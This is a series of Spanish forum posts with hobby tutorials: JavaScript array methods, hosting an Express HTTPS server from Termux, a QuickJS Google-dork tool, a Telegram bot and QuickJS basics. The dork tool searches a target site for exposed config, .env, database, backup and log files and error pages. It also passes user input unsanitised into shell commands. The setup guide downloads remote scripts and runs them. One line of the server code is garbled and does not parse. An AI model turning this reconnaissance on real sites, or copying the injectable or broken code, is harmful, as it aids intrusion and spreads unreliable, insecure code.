Ya conseguimos crear nuestra versión del método map. Map es un método de los arrays, por lo que no puedes usarlo con otras clases como String.
Puedes modificar el código para extender la clase String y añadirle el método map:
Código (javascript) [Seleccionar]
class CustomString extends String {
  map(callback) {
    let aux = "";
    for (let i = 0; i < this.length; ++i) {
      aux += callback(this[i])
    }
    return aux;
  }

}

const texto = new CustomString("hola");

texto.map(letra => letra + 1) // "h1o1l1a1"


Creo que queda claro que hace exactamente map. Aplica la funcion que le pasamos a cada elemento y nos retorna el resultado.
Es el mismo efecto que si hiciésemos:
Código (javascript) [Seleccionar]
let arr = [1, 2, 3];
let auxiliar = [];
const suma1 = argumento => argumento + 1;

auxiliar.push( suma1(arr[0]) );
auxiliar.push( suma1(arr[1]) );
auxiliar.push( suma1(arr[2]) );

console.log(auxiliar) // 2, 3, 4



reduce
El método reduce es prácticamente igual que map, pero en lugar de devolver todos los elementos devuelve solo el resultado de operar con ellos.
Código (javascript) [Seleccionar]
let numeros = [1, 2, 3];
numeros.reduce( (res, num) => res + num); // 6

El código también es muy similar al de map, trata de realizar tu propia implementación y jugar pásandole distintos parámetros. Recuerda que estos ejemplos son básicos. Los métodos map, reduce y similares son más completos que estas implementaciones, puedes consultar algunos polyfills para hacerte una idea más cercana a todo lo que hace cada método.

filter
Con filter en lugar de retornar el resultado, se retorna o no el elemento del array dependiendo de si la condición que indiques se cumple o no. Por ejemplo puedes filtrar los elementos de un array para obtener solo los números pares:
Código (javascript) [Seleccionar]
let numeros = [1, 2, 3];
numeros.filter( num => num % 2 == 0 ); // 2


Recuerda que se retorna un nuevo array, el original no es modificado.
#10
Como hacer público un servidor web express sobre node en arch linux termux android sin root.

1 - Instalar termux.
Puedes instalar termux directamente desde la PlayStore https://play.google.com/store/apps/details?id=com.termux

Si tu dipositivo no tiene PlayStore puedes descargar Termux en el siguiente enlace https://apps.evozi.com/apk-downloader/?id=com.termux

2 - Configurar Termux
Abre la app, escribe el comando termux-setup-storage y dale enter.
Te recomiendo también instalar los siguientes paquetes que utilizo para facilitar la instalación:
pkg install vim
pkg install quickjs
pkg install g++
pkg install nodejs                                                    
pkg install git
pkg install make
                                                                                                                         
Y también instalar el repo pointless donde se da soporte a paquetes como mongodb que no están disponibles directamente en los repos de Termux.
curl https://raw.githubusercontent.com/its-pointless/its-pointless.github.io/master/setup-pointless-repo.sh -o ~/../usr/spr.sh && cd ~/../usr/ && chmod +775 spr.sh && ./spr.sh && rm spr.sh                      

3 - Instalar Arch Linux usando proot                                  
Proot emula las carpetas y utiliza algunos trucos para poder instalar una distribución de Linux sin necesidad de rootear. Escribe el siguiente comando y dale enter.                                                
pkg install proot && pkg install proot-distro && proot-distro install archlinux && proot-distro login archlinux
Aquí tienes más información si tienes curiosidad. https://wiki.termux.com/wiki/PRoot

4 - Añadir extensión a la Shell                                        
Nota: Este paso es totalmente prescindible. Es un programa que hice yo para manejar de forma más cómoda la shell y diferenciarla de otras. Vete al punto 5 si no te interesa.

Veras que cambia el mensaje de consola indicando que ya estás en Arch Linux [root@localhost]. El siguiente paso que voy a realizar es descargar una extensión para bash que trae atajos y otras utilidades. Este paso es opcional. Para instalar la extensión corre el comando:
curl https://raw.githubusercontent.com/StringManolo/SMBSE/main/.bashrc -o .bashrc && source .bashrc
Como utilizo este programa en distintos sistemas, incluyendo el propio termux, voy a modificar el archivo para que me muestre el nombre del sistema actual para el usuario root.
Corre el comando
v .bashrc && source .bashrc
Para que se abra el archivo a editar
Si ahora escribes /PS1 y presionas enter, se te movera el archivo a la parte del documento donde hay un código tal que:
PS1='\n\n${underlinedarkgray}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${gree
n}$(pwd)${endc}\n> ';


Ahí voy a sustituir ${underlinegray} por ${darkblue}Arch Linux ${endc}
Si no sabes usar vim puedes borrar esa linea y pegar esto:
PS1='\n\n${darkblue}Arch Linux ${endc}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${green}$(pwd)${endc}\n> ';

Para borrar la linea con vim posiciona el cursor encima del primer PS1=... y presiona dos veces la tecla d
Después manten pulsado el botón en el centro de la pantalla para que salga la opción de pegar.
El resultado tiene que quedar tal que:
# Custom Console                                                      
SMBSE_LOGME 'Setting PS1 and PS2 terminal indicators'
PS1='\n\n${darkblue}Arch Linux ${endc}${darkgray}(${blue}$(date +%H${darkgray}:${blue}%M${darkgray}:${blue}%S${darkgray}:${blue}%4N)${darkgray}) ${green}$(pwd)${endc}\n> ';
#PS1='\n\n[${blue}$(date +%H${endc}:${blue}%M${endc}:${blue}%S${endc}:${blue}%4N)${endc}] ${green}$(pwd)${endc}\n${blue}>${endc} '
PS2='${blue}.${endc}  ';


Una vez está así escribe :x
Y presiona enter para guardar los cambios.
Te quedará el mensaje de consola tal que:
Arch Linux (17:41:26:1553) /root
>


5 - Crear servidor con express y node.
Crea una carpeta para el servidor.
mkdir /srv/http/myNodeServer && cd /srv/http/myNodeServer
Crea el proyecto del servidor con el comando npm init
Rellena los datos que quieras. Yo solo he puesto archnode y presionado enter repetidamente.

Añade express al proyecto con el comando npm install express

Modifica el código del servidor remplazando stringmanoloarch.tk por tu dominio en el siguiente comando (si es un comando) antes de correrlo:
echo 'const fs = require("fs");
const http = require("http");
const https = require("https");
const privateKey  = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/privkey.pem", "utf-8");
const certificate = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/fullchain.pem", "utf-8");
const ca = fs.readFileSync("const ca = fs.readFileSync("/etc/letsencrypt/live/stringmanoloarch.tk/chain.pem", "utf8");



const credentials = {key: privateKey, cert: certificate, ca: ca};
const express = require("express");
const app = express();

const cli = {};
for (let i in process.argv) {
 switch(process.argv[i]) {
   case "-p":
   case "--port-http":
     cli.port = process.argv[1 + +i];
   break;

   case "-p2":
   case "--port-https":
     cli.portHttps = process.argv[1 + +i];
   break;

   case "--host":
     cli.host = process.argv[1 + +i];
   break;
 }
}


if (!cli.port) cli.port = 8080;
if (!cli.portHttps) cli.portHttps = 8443;
if (!cli.host) cli.host = "127.0.0.1";

app.use(express.static("public"));

const httpServer = http.createServer(app);
const httpsServer = https.createServer(credentials, app);

httpServer.listen(cli.port);
httpsServer.listen(cli.portHttps);' > index.js


Crea también la carpeta desde la cual se serviran los archivos con el comando mkdir public y mete dentro una web de ejemplo tal que:
mkdir public && echo 'Hello!' > public/index.html

6 - Crea un dominio con freenom.
Ve a la web https://my.freenom.com/clientarea.php?action=domains registrate y crea un nuevo dominio.
Una vez loggeado dentro vete al apartado dominios https://my.freenom.com/domains.php e introduce ahí el nombre de dominio que quieras. Por ejemplo yo usaré stringmanoloarch.tk muchos nombres ya están siendo utilizados o no se pueden registrar gratuitamente, pero si poner tu nombre y una palabra por ejemplo, seguro que está disponible. Dale a chekout para confirmar la adquisición del nuevo dominio y en el menu desplegable donde dice 3 Months free cámbialo a 12 Months free. Marca la casilla para aceptar condiciones y términos y dale a Complete Order.
Ahora si vas al apartado https://my.freenom.com/clientarea.php?action=domains ahí tienes tu nuevo dominio para gestionarlo.

7 - Crear certificado.
Actualiza el sistema y los paquetes con el comando pacman -Syu
Di que sí a las opciones de remplazo que te pregunte escribiendo y
Instala certbot
pacman -S certbot
Acepta la instalación escribiendo y

Genera un certificado manualmente con el comando certbot certonly --manual --preferred-challenges dns
Te pedira el dominio, pon el que registrate en freenom.
Es posible que te pida el correo, introduce tu correo.
Escribe y para aceptar los terminos de uso
Escribe n para no compartir tu email publicamente

Entonces te saldrá un mensaje diciendo que demuestres que tienes control sobre el dominio de freenom con un registro TXT.
Para ello haces lo siguiente:
Ve a https://my.freenom.com/clientarea.php?action=domain
Pincha en manage freenom dns.
Pincha en edit nameservers.
Selecciona use default nameservers y pulsa en change nameservers.
Vuelve otra vez a darle en manage nameservers y ahora podrás agregar registros DNS a los servidores de freenom.

En el primer apartado pon el nombre del registro que indica certbot. En mi caso es _acme-challenge.stringmanoloarch.t
En el segundo apartado selecciona TXT como tipo de registro.
El tercer apartado (3600) no hace falta que lo cambies.
En el cuarto y último, debes añadir la cadena de caracteres que indica el certbot, en mi caso algo tal que 0V8MBE1iGEcgljH3PIox8Od_XaI-7FvjJi-BkM3beJY

Dale a save changes.

Antes de darle a enter al certbot, espera unos segundos para que se haga el registro público.

Tras dar enter recibirás un mensaje tal que:
Waiting for verification...
Cleaning up challenges

IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
  /etc/letsencrypt/live/stringmanoloarch.tk/fullchain.pem
  Your key file has been saved at:
  /etc/letsencrypt/live/stringmanoloarch.tk/privkey.pem
  Your certificate will expire on 2021-05-23. To obtain a new or
  tweaked version of this certificate in the future, simply run
  certbot again. To non-interactively renew *all* of your
  certificates, run "certbot renew"
- If you like Certbot, please consider supporting our work by:



8 - Usando freenom como ddns.

Haz clone y make del siguiente script que renueva dominios y actualiza la ip dinámica
git clone https://github.com/mkorthof/freenom-script.git && cd freenom-script

Edita el archivo freenom.conf y añade tu email y contraseña de la cuente de freenom
v freenom.conf

Una vez finalices corre el siguiente comando con tu dominio, en mi caso es:
./freenom.sh -c freenom.conf -u stringmanoloarch.tk

Si vas a los registros de freenom podras comprobar que se generó un registro A para tu dominio.

Pon live tu servidor volviendo a la carpeta anterior con cd ../ y corriendo el comando:
node index.js

Por defecto usa el puerto 8080 para http y 8443 para https.

Puedes pasar los puertos como argumentos del commando, por ejemplo.
node index.js -p 8081 -p2 8444

Si tienes los puertos abiertos podrás ver la web en el puerto correspondiente y tu dominio, si usas https verás el candadito verde. En mi caso: https://stringmanoloarch.tk:8443/

Si los configuraste y no puedes ver la web, utiliza el comando nmap para comprabar si están abiertos o no:
nmap tuIp -p80,443

9 - Apertura de puertos.
La forma de abrir puertos difiere entre routers o tipos de redes. Por lo cual no te puedo decir exactamente como debes hacerlo tu.
Si usas wifi: La forma usual de hacerlo es revisando la parte inferior del router donde vienen el usuario, contraseña y la dirección del panel de administración del router. Suelen ser http://192.168.0.1 o http://192.168.1.1
Una vez consigas acceder, dentro tendrás que buscar el apartado que te permita abrir los puertos. El apartado suele tener varias opciones. Puerto externo, Puerto interno, protocolo del puerto, dirección ip local...
El puerto externo es el puerto que deben poner los usuarios que quieran ver tu web. El navegador omite los puertos 80 y 443 para http y https en las urls, asique son esos los que probablemente te interese abrir. En el protocolo del puerto selecciona TCP si tienes la opción. En dirección ip te pide la dirección ip local del computador. Esta opción es para que el router sepa a que dispositivo de tu red enviar la conexión. Puedes buscarlo en el propio panel del router o usar el comando ipconfig para ver la dirección. Suele empezar por 192... Ponla, guarda los cambios y debería estar todo listo.

En caso de que uses datos móviles tienes 2 opciones. Preguntar a tu operador o buscar por internet si es posible (en tu compañía) abrir puertos con datos. O utilizar el programa ngrok.
Sigue los pasos de configuración del programa en su web, crea cuenta y añade el identificador que te dan en la web al ngrok. Depués solo tienes que correr el servidor web (dejarlo abierto) y correr el comando ngrok http 80
#11
Os traigo esta herramienta sencilla para buscar información en google.

Google puede detectar vuestra actividad como robots y no responder. En redes de casa suele funcionar.

Instalar:
  Necesitais tener quickjs y lynx instalados. Ocupan muy poco.
  Guardais el código como dorks.js y lo ejecutais con qjs dorks.js -t https://example.com -s

Está testeado que funciona en Linux y Termux.
No lo probé en windows pero es probable que también funcione.

Cita de: usousage: qjs dorks [options]
  -b  --backup-files         .bkf, .bkp, .bak, .old, .backup 
 
  -c  --config-files         .xml, .conf, .cnf, .reg, .inf, .rdp, .cfg, .txt, .ora, .ini, .env 
 
  -d  --directory-listing    index of dir list 
 
  -e  --exposed-databases    .sql, .dbf, .mdb 
 
  -g  --git                  github.com, gitlab.com 
 
  -h  --help                this message
 
  -l  --log                  .log 
 
  -L  --login-urls           login in url 
 
  -n  --number               phone numbers 
 
  -p  --public-documents     .doc, .docx, .odt, .rtf, .sxw, .psw, .ppt, .pptx, .pps, .csv 
 
  -P  --php-errors           .php errors in document 
 
      --pastes               pastebin.com, paste2.org, pastehtml.com, slexy.org, snipplr.com, snipt.net, textsnip.com, bitpaste.app, justpaste.it, heypasteit.com, hastebin.com, dpaste.org, dpaste.com, codepad.org, jsitor.com, codepen.io, jsfiddle.net, dotnetfiddle.net, phpfiddle.org, ide.geeksforgeeks.org, repl.it, ideone.com, paste.debian.net, paste.org, paste.org.ru, codebeautify.org, codeshare.io, trello.com 
 
      --php-info             .php info files 
 
  -s  --source               source code of target 
 
  -S  --sql-errors           sql syntax errors in document 
 
      --stackoverflow        stackoverflow.com 
 
  -t  --target               Your target. Can be a domain, a full url, etc. Based on the arguments of your chose. 
 
  -v  --view                 text representation of the target.

Código (javascript) [Seleccionar]
import * as std from "std";
import * as os from "os";

let run = command => {
  let p = std.popen(command, "r"),
  msg = "",
  r = "";
  while(( r = p.getline() ) != null) {
    msg += r + "\n";
  }
  return msg;
}                                                                                                                           

let cli = {};
cli.COLORS = {                                                   
  RED: "\x1b[31m",
  RESET: "\x1b[0m",
  YELLOW:"\x1b[33m",
  BLUE: "\x1b[34m",
  GREEN: "\x1b[32m"                                             
};

for (let i in scriptArgs) {
switch(scriptArgs[i]) {
    case "-b":                                                     
    case "--backup-files":
      cli.backupFiles = true;
    break;

    case "-c":
    case "--config-files":                                           
      cli.configFiles = true;
    break;

    case "-d":
    case "--directory-listing":
      cli.directoryListing = true;
    break;
                                                                   
    case "-e":
    case "--exposed-databases":
      cli.exposedDatabases = true;
    break;

    case "-g":
    case "--git":
      cli.git = true;
    break;

    case "-l":
    case "--log":
      cli.logFiles = true;
    break;

    case "-L":
    case "--login-urls":
      cli.loginUrls = true;
    break;

    case "-p":
    case "--public-documents":
      cli.publicDocuments = true;
    break;

    case "-P":
    case "--php-errors":
      cli.phpErrors = true;
    break;

    case "--php-info":
      cli.phpInfo = true;
    break;

    case "--pastes":
      cli.pastes = true;
    break;

    case "-s":
    case "--source":
      cli.source = true;
    break;

    case "-S":
    case "--sql-errors":
      cli.sqlErrors = true;
    break;

    case "--stackoverflow":
      cli.stackoverflow = true;
    break;

    case "-t":
    case "--target":
      cli.target = encodeURIComponent(scriptArgs[+i + +1]);
    break;

    case "-v":
    case "--view":
      cli.view = true;
    break;

    case "-h":
    case "--help":
      console.log(`

usage: qjs dorks [options]
  -b  --backup-files         .bkf, .bkp, .bak, .old, .backup

  -c  --config-files         .xml, .conf, .cnf, .reg, .inf, .rdp, .cfg, .txt, .ora, .ini, .env

  -d  --directory-listing    index of dir list

  -e  --exposed-databases    .sql, .dbf, .mdb

  -g  --git                  github.com, gitlab.com

  -h  --help                 this message

  -l  --log                  .log

  -L  --login-urls           login in url

  -p  --public-documents     .doc, .docx, .odt, .rtf, .sxw, .psw, .ppt, .pptx, .pps, .csv

  -P  --php-errors           .php errors in document

      --pastes               pastebin.com, paste2.org, pastehtml.com, slexy.org, snipplr.com, snipt.net, textsnip.com, bitpaste.app, justpaste.it, heypasteit.com, hastebin.com, dpaste.org, dpaste.com, codepad.org, jsitor.com, codepen.io, jsfiddle.net, dotnetfiddle.net, phpfiddle.org, ide.geeksforgeeks.org, repl.it, ideone.com, paste.debian.net, paste.org, paste.org.ru, codebeautify.org, codeshare.io, trello.com

      --php-info             .php info files

  -s  --source               source code of target

  -S  --sql-errors           sql syntax errors in document

      --stackoverflow        stackoverflow.com

  -t  --target               Your target. Can be a domain, a full url, etc. Based on the arguments of your chose.

  -v  --view                 text representation of the target.


`);
  std.exit(0);
  }
}

let checkResults = res => {
  /* Check if connection error */

  /* Check if captcha */
    /* Use good proxy chain list to evade captcha */
    /* Instruct user to evade if dynamic ip */

  /* Check if not found */
  if (new RegExp("ningún resultado. Sugerencias: ", "gim").test(res.replace(/\n/gm, " "))) {
    throw `${cli.COLORS.GREEN}Everything fine but nothing found.${cli.COLORS.RESET}`
  } else {
    console.log(res);
  }

  /* check if more than one page of results */
}

if (!cli.target) {
  throw `Missing target.
  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.
  `;
}

if (cli.backupFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:bkf+|+ext:bkp+|+ext:bak+|+ext:old+|+ext:backup'`));
}

else if (cli.configFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:xml+|+ext:conf+|+ext:cnf+|+ext:reg+|+ext:inf+|+ext:rdp+|+ext:cfg+|+ext:txt+|+ext:ora+|+ext:ini+|+ext:env'`));
}

else if (cli.directoryListing) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intitle:index.of'`));
} else if (cli.exposedDatabases) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:sql+|+ext:dbf+|+ext:mdb'`));
}

else if (cli.exposedDatabases) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
}

else if (cli.git) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q="${cli.target}"+site:github.com+|+site:gitlab.com'`));
}

else if (cli.logFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:log'`));
}

else if (cli.loginUrls) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+inurl:login+|+inurl:ingresar'`));
}

else if (cli.publicDocuments) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:doc+|+ext:docx+|+ext:odt+|+ext:rtf+|+ext:sxw+|+ext:psw+|+ext:ppt+|+ext:pptx+|+ext:pps+|+ext:csv'`));
}

else if (cli.pastes) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:pastebin.com+|+site:paste2.org+|+site:pastehtml.com+|+site:slexy.org+|+site:snipplr.com+|+site:snipt.net+|+site:textsnip.com+|+site:bitpaste.app+|+site:justpaste.it+|+site:heypasteit.com+|+site:hastebin.com+|+site:dpaste.org+|+site:dpaste.com+|+site:codepad.org+|+site:jsitor.com+|+site:codepen.io+|+site:jsfiddle.net+|+site:dotnetfiddle.net+|+site:phpfiddle.org+|+site:ide.geeksforgeeks.org+|+site:repl.it+|+site:ideone.com+|+site:paste.debian.net+|+site:paste.org+|+site:paste.org.ru+|+site:codebeautify.org +|+site:codeshare.io+|+site:trello.com'`));
}

else if (cli.phpErrors) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+'"'"'PHP Parse error'"'"'+|+'"'"'PHP Warning'"'"'+|+'"'"'PHP Error'"'"''`));
}

else if (cli.phpInfo) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:php+intitle:phpinfo+'"'"'published by the PHP Group'"'"''`));
}

else if (cli.source) {
  console.log(run(`lynx --source ${decodeURIComponent(cli.target)}`));
}

else if (cli.sqlErrors) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
}

else if (cli.stackoverflow) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:stackoverflow.com'`));
}

else if (cli.view) {
  console.log(run(`lynx --dump '${decodeURIComponent(cli.target)}'`));
}

else {
  throw `Missing argument. You need at least 1 argument more.
  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.

  `;
}


Podeis añadirle vuestros dorks al código siguiente el patrón.
#12
Me apetecía programar una IA en javascript y necesitaba alguna forma de pasarle input, asique decidí hacer un bot de telegram.
Como ya van varios bots que hago, alguno salió algo buggeado y posiblemente en el futuro haga otros parecidos, decidí hacer un bot/nucleo a partir del cual pueda escribir cualquier bot.

Asique este bot tiene lo básico y mínimo indispensable que se puede necesitar para un bot. Le metí varios argumentos cli básicos para configurar el bot, meterle el token y ver su uso.
También le metí que responda al telegram a unos pocos comandos de ejemplo.

De momento no encontré ningún bug. Si encuentro alguno o meto algún cambio interesante o importante, lo añadiré aquí.

Código (javascript) [Seleccionar]
import * as std from "std";
import * as os from "os";

let run = command => {
 let p = std.popen(command, "r"),
 msg = "",
 r = "";

 while(( r = p.getline() ) != null) {
   msg += r + "\n";
 }
 return msg;
}

let cli = {};
cli.COLORS = {
 RED: "\x1b[31m",
 RESET: "\x1b[0m",
 YELLOW:"\x1b[33m",
 BLUE: "\x1b[34m",
 GREEN: "\x1b[32m"
};

for (let i in scriptArgs) {
 switch(scriptArgs[i]) {
   case "-t":
    case "--token":
     cli.token = scriptArgs[+i + +1];
   break;

   case "-s":
   case "--save":
     let fd = std.open(".token", "w");
     fd.puts(cli.token);
     fd.close();
   break;

   case "-l":
   case "--load":
     cli.token = std.loadFile(".token");
   break;

   case "-h":
   case "--help":
     throw `

usage: qjs tgbot.js [options]
 -t  --token            Telegram Bot Api Token. https://t.me/BotFather
 -s  --save             Save the token internally to start the bot in the future without manually provide the token each time.
 -l  --load             Use the saved token to start the bot.
 -h  --help             This message.
 -v  --verbose          Show basic feedback to the command line interface.
 -w  --wait             Bot delay in seconds. (Can process multiple messages at once, so you don't need a really low number to don't fallback).

Examples:
qjs tgbot.js -t 192829292:iqidkwiexampleunvalidtokeniwjwusjwis -s -v

qjs tgbot.js -l -v

qjsc -o ctgbot tgbot.js && cp tgbot ~/../usr/bin/
tgbot -l -w 2 -v

`;

   case "-v":
   case "--verbose":
     cli.v = true;;
   break;

   case "-w":
   case "--wait":
     cli.wait = scriptArgs[+i + +1];
   break;
 }
}


if (!cli.token) {
 throw `${cli.COLORS.RED}No has introducido tu token de telegram.${cli.COLORS.RESET}

Si aún no pusiste tu token.
Inicia con: qjs tgbot.js -t 183828181:kqnsiwnskwkziqnsoqnsiqn -s

Si ya introduciste tu token.
Inicia con: qjs tgbot.js -l

Si aún no tienes un token.
Visita ${cli.COLORS.BLUE}https://t.me/BotFather${cli.COLORS.RESET} y escríbele /newBot


ESCRIBE ${cli.COLORS.YELLOW}qjs tgbot.js -h${cli.COLORS.RESET} PARA OBTENER LISTA DE COMANDOS.`;
}

let bot = () => {
let api = run(`curl https://api.telegram.org/bot${cli.token}/getUpdates --silent`);

let apiJson = JSON.parse(api);

if (apiJson.ok !== true) {
 throw `Telegram Api Returning An Error:
${api}`;
}

if (!apiJson.result) {
 throw `No results to parse:
${api}`;
}

let process = (text, username, chatId) => {
 let response = "";


 if (text.substr(0,1) == "/") {
   let recv = text.substring(1).toLowerCase();
   switch(recv) {
     case "start":
       response = "Comandos Disponibles:\n/Placeholder1 Haz esto\n/Placeholder2 Haz Aquello\n";
     break;

     case "hola":
       response = `Hola ${username} soy un bot escrito en javascript por @StringManolo.`;
     break;

     case "adios":
     case "chao":
       response = `Un placer ${username}! Qué vaya bien.`;
     break;

     default:
       response = `No se que significa ${recv}...`;
   }

 }

 if (response) {
   cli.v && console.log(`Respuesta: ${response}\n`);
   let aux = `https://api.telegram.org/bot${cli.token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(response)}`;
   run(`curl "${aux}" --silent`);
 }
}


let lastId = 0;
for (let i in apiJson.result) {
 if (apiJson.result[i].message &&
 apiJson.result[i].message.text &&
 apiJson.result[i].update_id &&
 apiJson.result[i].message.from.username &&
 apiJson.result[i].message.chat.id) {
   let text = apiJson.result[i].message.text;
   let updateId = apiJson.result[i].update_id;
   let username = apiJson.result[i].message.from.username;
   let chatId = apiJson.result[i].message.chat.id;
   lastId = updateId;
   process(text, username, chatId);
 }
}

let borrarMensajesApi = () => {
 run(`curl https://api.telegram.org/bot${cli.token}/getUpdates?offset=${+lastId + 1} --silent`);
}

borrarMensajesApi();
cli.v && console.log("Bot process end");
}

let i = 0;
for (;;) {
 cli.v && console.log(`Running bot for the ${++i}° time.`);
 bot();
 cli.v && console.log(`Waiting ${(cli.wait || 20)} seconds to save resources.`);
 os.sleep( (cli.wait || 20) * 1000);
}
#13
Desarrollo Web / Tutorial básico de Quickjs
9 Enero 2021, 03:38 AM
Tutorial básico de quickjs.

Qué es:
Quickjs es un entorno de ejecución (motor) de javascript que cumple en gran medida con el estandar de javascript.

Sirve para interpretar, ejecutar o compilar codigo javascript.


Cómo se compara a Node.js y a Chrome:
Quickjs es mucho más pequeño que node o v8. Se ejecuta de forma rápida sin esperar al cargar scripts y ocupa poco espacio, lo que lo hace ideal para crear pequeños scripts y utilidades para la consola de comandos de Linux, Windows o Termux.
                                                     
Como se instala:
Puedes descargarlo de su página oficial, de github y compilarlo o utilizando apt-get install quickjs


A parte del javascript estandar que más trae:
Trae 2 librerías preinstaladas que podemos importar. std y os.
La librería std trae varias funciones del lenguaje de C y la librería os trae hilos, funciones para abrir procesos, y varias utilidades.


Al lio:
holaMundo.js
Código (javascript) [Seleccionar]
console.log("Hola mundo");

Puedes ejecutarlo con el comando qjs holaMundo.js
También puedes compilarlo con qjsc -o holaMundo holaMundo.js


correrCualquierComando.js
Código (javascript) [Seleccionar]
import * as std from "std";
let run = comando => {
  let prog = std.popen(comando, "r");
  let r, msg = "";
  while ((r = prog.getline()) != null) {
    msg += r + "\n";
  }
  return msg;
}

console.log( run("ls") );
console.log( run("ls && pwd") );



generadorDeArchivos.js
Código (javascript) [Seleccionar]
import * as std from "std";
console.log(`Generador de archivos 2021

Genera el esqueleto de archivos para no tener que escribir a mano partes recurrentes de archivos comunes.


1. Proyecto HTML
2. Reporte de Seguridad

Selecciona el número correspondiente a la opción que deseas.`);

let opcionUsuario = +std.in.getline();

if (opcionUsuario === 1) {
  let fd = std.open("index.html", "w");
  fd.puts(`<!DOCTYPE html>
<html lang="en">
  <head prefix="og:http://ogp.me/ns#">
    <meta charset="utf-8">
    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
    <title>Index.html</title>
    <!--
      <meta property="og:type" content="website">
    -->
    <link rel="stylesheet" href="./code.css">
    <meta name="theme-color" content="#ffffff">
  </head>

  <body>


    <script src="./main.js"></script>
  </body>
</html>`);
  fd.close();

  fd = std.open("main.js", "w");
  fd.close();

  fd = std.open("code.css", "w");
  fd.puts(`body {
  margin: 0 0 0 0; /* Remove ugly left side border */
  text-size-adjust: none; /* Fix Android Big Text */
  text-rendering: optimizeLegibility; /* Improve text */
}

  /* Media query */
  @media (min-width: 0px) and (orientation:landscape) {
  body {
    font-size: 1.1vw;
  }
}`);
  fd.close();
} else if (opcionUsuario === 2) {
  console.log("Esta opción se programará en el futuro");
}




scraper.js
Código (javascript) [Seleccionar]
import * as std from "std";

let run = comando => {
  let prog = std.popen(comando, "r");
  let r, msg = "";
  while ((r = prog.getline()) != null) {
    msg += r + "\n";
  }
  return msg;
}

let getTargetAndSelector = () => {
  let returnValues = {};
  for(let i in scriptArgs) {
    if (scriptArgs[i] == "-t" || scriptArgs[i] == "--target") {
      returnValues.target = scriptArgs[+i+1];
    } else if (scriptArgs[i] == "-s" || scriptArgs[i] == "--selector") {
      returnValues.selector = scriptArgs[+i+1];
    }
  }
  if (returnValues.target && returnValues.selector) {
    return [returnValues.target, returnValues.selector];
  } else {
    throw `Usage:
-t  --target  Url to download
-s  --selector Selector to use

Example: qjs scraper.js -t https://example.com -s h1`;
  }
}


let result = run(`curl ${getTargetAndSelector()[0]} -A "Mozilla/5.0" --silent | pup ${getTargetAndSelector()[1]}`);
console.log(result);


Puedes compilarlos y meterlos en bin y darle permisos para usarlos como cualquier otro comando sin necesidad de estar en la misma carpeta que el código.
qjsc -o scraper scraper.js && cp scraper ~/../usr/bin/ && chmod +775 ~/../usr/bin/scraper
scraper -t https://example.com -s a



Documentación Official Quickjs: https://bellard.org/quickjs/quickjs.html


Documentación Herramienta Pup para usar selectores en la linea de comandos: https://github.com/ericchiang/pup
#14
GNU/Linux / [Tutorial] Comandos De Linux (Bash)
16 Diciembre 2020, 17:31 PM
Tutorial Terminal de Linux (bash)






1. Qué es la terminal.






2. Para qué sirve?






3. Cómo se usa?






4. Ejemplos de uso básico.

      - sudo su
      - pwd
      - ls
      - cd
      - mkdir
      - apt-get
      - vim
      - cat
      - cp
      - rm
      - mv
      - touch
      - clear
      - man






5. Utilidades Comunes.

      - curl
      - chmod
      - tree
      - nmap
      - ncat
      - df
      - free
      - ps
      - kill
      - uname
      - top
      - ifconfig





6. Bash.






7. Pipes/Tuberias.

      - grep
      - less
      - head
      - tail
      - wc






La terminal es la consola de comandos de Linux. Una interfaz que te permite utilizar un montón de programas en forma de comandos. Una de las partes más potentes de un sistema Linux es la terminal.






Con la terminal puedes usar un montón de programas para realizar tareas de todo tipo de forma ágil y sencilla. Crear archivos, modificar ajustes, descargar programas... Utilizando la terminal podrás acelerar y automatizar todo tipo de tareas. Muchas de las herramientas y software más útil y potente se encuentra en forma de programa cli (command line interface). 







Para utilizarla solo tienes que escribir el comando que quieras. Pudes pasarle argumentos al comando.






$ sudo su
El primer comando que debes conocer es sudo su. Te preguntará cual es tu usuario del sistema y tu contraseña. Escribes y presionas enter. A partir de este momento pasas a ser root en esta terminal. Es decir, usuario con privilegios para ejecutar todo tipo de comandos.

$ pwd
